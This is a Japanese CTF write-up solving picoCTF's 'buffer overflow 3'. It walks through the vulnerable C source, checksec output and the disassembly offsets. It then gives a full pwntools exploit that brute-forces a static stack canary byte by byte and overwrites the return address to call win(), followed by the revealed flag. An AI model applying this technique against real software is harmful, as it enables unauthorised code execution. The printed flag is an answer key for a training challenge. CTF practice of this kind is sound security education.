buffer overflow 3 (Binary Exploitation)
Do you think you can bypass the protection and get the flag? It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows. You can view source here. And connect with it using: nc saturn.picoctf.net 60026
添付ファイル
・vuln
・vuln.c
とりあえず、実行してみる。
$ nc saturn.picoctf.net 60026
How Many Bytes will You Write Into the Buffer?
> 10
Input> aaaaaaaaaaa
Ok... Now Where's the Flag?
ソースコードを見る。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
fflush(stdout);
exit(0);
}
fgets(buf,FLAGSIZE,f); // size bound read
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
fflush(stdout);
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
fflush(stdout);
exit(0);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
セキュリティ機構を確認する。
$ checksec vuln
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/colza-picoctf/.cache/.pwntools-cache-3.10/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] A newer version of pwntools is available on pypi (4.13.1 --> 4.14.0).
Update with: $ pip install -U pwntools
[*] '/home/colza-picoctf/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
No PIEでベースアドレスが0x8048000であることが分かる。まず、canaryを特定する。そして、buffer overflowさせ、offset + canary + offset + win() address
を入力する。
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
ここで、Input>のときの標準入力の読み取り文字数を自分で指定できるため、読み取り文字数を1文字ずつ増やしていき、canaryを1文字ずつ特定することができる。
offsetを特定する。
vulnのmemcpy部分。
80494a2: c7 45 f4 00 00 00 00 mov DWORD PTR [ebp-0xc],0x0
80494a9: c7 c0 54 c0 04 08 mov eax,0x804c054
80494af: 8b 00 mov eax,DWORD PTR [eax]
80494b1: 89 45 f0 mov DWORD PTR [ebp-0x10],eax
read(0,buf,count);
部分。
8049531: 83 c4 10 add esp,0x10
8049534: 8b 85 6c ff ff ff mov eax,DWORD PTR [ebp-0x94]
804953a: 83 ec 04 sub esp,0x4
804953d: 50 push eax
804953e: 8d 45 b0 lea eax,[ebp-0x50]
8049541: 50 push eax
8049542: 6a 00 push 0x0
8049544: e8 e7 fb ff ff call 8049130 <read@plt>
return部分。
80495bf: 8b 5d fc mov ebx,DWORD PTR [ebp-0x4]
80495c2: c9 leave
80495c3: c3 ret
canaryはebp-0x10、bufはebp-0x50にあることが読み取れ、return addressは必ずebp+0x4にある。
よって、offsetは以下の通り。
- canaryまで : 64bytes
- canaryからreturn addressまで : 16bytes
以下、実行コード。
from pwn import *
import time
elf = ELF('./vuln')
win_addr = elf.symbols['win']
canary_bf = b""
for i in range(4):
for j in range(256):
num = 64 + i + 1
payload = b"a" * 64 + canary_bf + bytes([j])
p = remote('saturn.picoctf.net', 60026)
p.sendlineafter(b"> ", str(num).encode())
p.sendlineafter(b"> ", payload)
data = p.recv()
p.close()
time.sleep(0.2)
if b"Ok" in data:
canary_bf += bytes([j])
break
print(canary_bf)
payload = b"a" * 64 + canary_bf + b"a" * 16 + p32(win_addr)
p = remote('saturn.picoctf.net', 60026)
p.sendlineafter(b"> ", b"96")
p.sendlineafter(b"> ", payload)
p.interactive()
実行する。
$ python solve.py
...
[+] Opening connection to saturn.picoctf.net on port 60026: Done
[*] Closed connection to saturn.picoctf.net port 60026
b'BiRd'
[+] Opening connection to saturn.picoctf.net on port 60026: Done
[*] Switching to interactive mode
Ok... Now Where's the Flag?
picoCTF{Stat1C_c4n4r13s_4R3_b4D_fba9d49b}
[*] Got EOF while reading in interactive
フラグが得られた。
picoCTF{Stat1C_c4n4r13s_4R3_b4D_fba9d49b}